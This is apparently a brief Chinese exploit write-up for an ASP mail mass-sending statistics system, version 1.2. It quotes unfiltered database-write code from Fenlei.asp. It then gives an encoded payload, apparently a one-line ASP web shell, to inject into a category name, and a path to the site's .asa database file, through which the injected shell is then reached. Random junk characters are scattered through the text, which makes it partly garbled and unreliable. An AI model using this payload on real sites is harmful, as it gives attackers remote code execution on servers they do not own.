铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
* l  _2 P2 W. T, e. }0 A
) n. w0 y$ x6 T+ M+ \IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
7 C3 v% N* M9 m1 ~1 K: |% y) FIF Request.QueryString("Action")="Add" Then
/ V- M' G7 b3 Z+ ?1 H' F: \# ZTname=Request.Form("Typename")
" {' @% C+ T3 R3 }" ]% wSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
) P2 C; I4 e) O8 Q3 T+ w1 i. ]! dSet Rs=Server.CreateObject("adodb.Recordset")
0 ?+ w( h& C. j$ a( l) U( fSql="Select * From Fenlei Order by id Desc "
* ?# A/ J: j& |7 TRs.Open Sql,Conn,1,1
'略
%>
1 `& H+ z. a1 \; C' q; {. M+ ~

2 g! f, P- F. P, _! d
5 }$ g$ A+ l8 B, `4 @没有过滤，直接写入数据库。

利用方法：
% h/ ?& }3 V4 j* e3 D
6 i# p7 d- P% Y插入：┼攠數畣整爠煥敵瑳∨≡┩>
3 a' V6 m- A; e8 j: c7 n& ]
! z& H$ j% K4 P: C" F
+ a; T: F( k3 }" c/ i5 w1 q连接： http://www.xxx.com/###tongbaner.asa
( g  d3 E/ [' q5 T! l'默认安装文件：
'install.asp
8 B' @  L; i+ j! m9 T